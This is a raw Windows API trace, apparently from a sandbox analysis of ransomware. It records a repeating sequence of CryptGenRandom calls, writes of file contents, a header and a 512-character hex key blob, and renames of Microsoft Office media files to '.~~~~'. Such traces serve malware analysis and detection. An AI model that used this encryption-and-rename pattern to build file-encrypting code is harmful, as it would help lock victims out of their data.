	[0125.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c14c8 | out: hHeap=0x300000) returned 1
	[0125.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0125.720] GetLastError () returned 0x0
	[0125.722] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.724] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.724] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0125.724] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24571417551) returned 1
	[0125.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4658c50, dwHighDateTime=0x1d60e1e)) 
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821278
	[0125.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821278 | out: hHeap=0x300000) returned 1
	[0125.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c15f8
	[0125.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.725] GetLastError () returned 0x0
	[0125.725] GetLastError () returned 0x0
	[0125.726] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.726] GetLastError () returned 0x0
	[0125.726] GetLastError () returned 0x0
	[0125.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.735] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0125.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.737] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.739] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.739] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.739] CloseHandle (hObject=0x130) returned 1
	[0125.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f05b0
	[0125.740] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.~~~~")) returned 1
	[0125.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0125.742] GetLastError () returned 0x0
	[0125.855] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.858] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.858] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24584816867) returned 1
	[0125.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb47af8b0, dwHighDateTime=0x1d60e1e)) 
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a3e9f8
	[0125.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a3e9f8 | out: hHeap=0x300000) returned 1
	[0125.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0125.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0125.859] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.859] GetLastError () returned 0x0
	[0125.859] GetLastError () returned 0x0
	[0125.859] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.859] GetLastError () returned 0x0
	[0125.860] GetLastError () returned 0x0
	[0125.865] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc260, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.865] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x3da0, lpOverlapped=0x0) returned 1
	[0125.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0125.867] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.868] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.868] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.868] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.868] CloseHandle (hObject=0x128) returned 1
	[0125.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbab0
	[0125.868] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\AUTOSHAP.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\autoshap.dll.~~~~")) returned 1
	[0125.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0125.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0125.880] GetLastError () returned 0x0
	[0125.881] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.882] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.882] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.883] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24587271761) returned 1
	[0125.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb47d5a10, dwHighDateTime=0x1d60e1e)) 
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821390
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821390 | out: hHeap=0x300000) returned 1
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bc140
	[0125.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc140 | out: hHeap=0x300000) returned 1
	[0125.883] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.884] GetLastError () returned 0x0
	[0125.884] GetLastError () returned 0x0
	[0125.884] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.884] GetLastError () returned 0x0
	[0125.884] GetLastError () returned 0x0
	[0125.886] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdf98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.886] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x2068, lpOverlapped=0x0) returned 1
	[0125.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0125.889] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.889] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.889] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.889] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.889] CloseHandle (hObject=0x128) returned 1
	[0125.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bc140
	[0125.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.~~~~")) returned 1
	[0125.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc140 | out: hHeap=0x300000) returned 1
	[0125.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0125.891] GetLastError () returned 0x0
	[0125.892] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.893] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.893] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0125.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.893] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24588345015) returned 1
	[0125.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb47fbb70, dwHighDateTime=0x1d60e1e)) 
	[0125.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0125.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28213c8
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28213c8 | out: hHeap=0x300000) returned 1
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb420
	[0125.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb420 | out: hHeap=0x300000) returned 1
	[0125.894] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.894] GetLastError () returned 0x0
	[0125.895] GetLastError () returned 0x0
	[0125.895] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.895] GetLastError () returned 0x0
	[0125.895] GetLastError () returned 0x0
	[0125.975] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffed72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.975] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x128e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x128e, lpOverlapped=0x0) returned 1
	[0125.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0125.977] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.977] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.977] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.977] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.977] CloseHandle (hObject=0x128) returned 1
	[0125.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baee0
	[0126.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.~~~~")) returned 1
	[0126.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baee0 | out: hHeap=0x300000) returned 1
	[0126.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.096] GetLastError () returned 0x0
	[0126.097] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.098] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.098] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.098] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24608849010) returned 1
	[0126.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb49ead50, dwHighDateTime=0x1d60e1e)) 
	[0126.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821780
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821780 | out: hHeap=0x300000) returned 1
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba7a8
	[0126.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0126.099] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.099] GetLastError () returned 0x0
	[0126.100] GetLastError () returned 0x0
	[0126.100] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.100] GetLastError () returned 0x0
	[0126.100] GetLastError () returned 0x0
	[0126.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff8c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.105] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x738, lpOverlapped=0x0) returned 1
	[0126.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.107] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.107] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.107] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
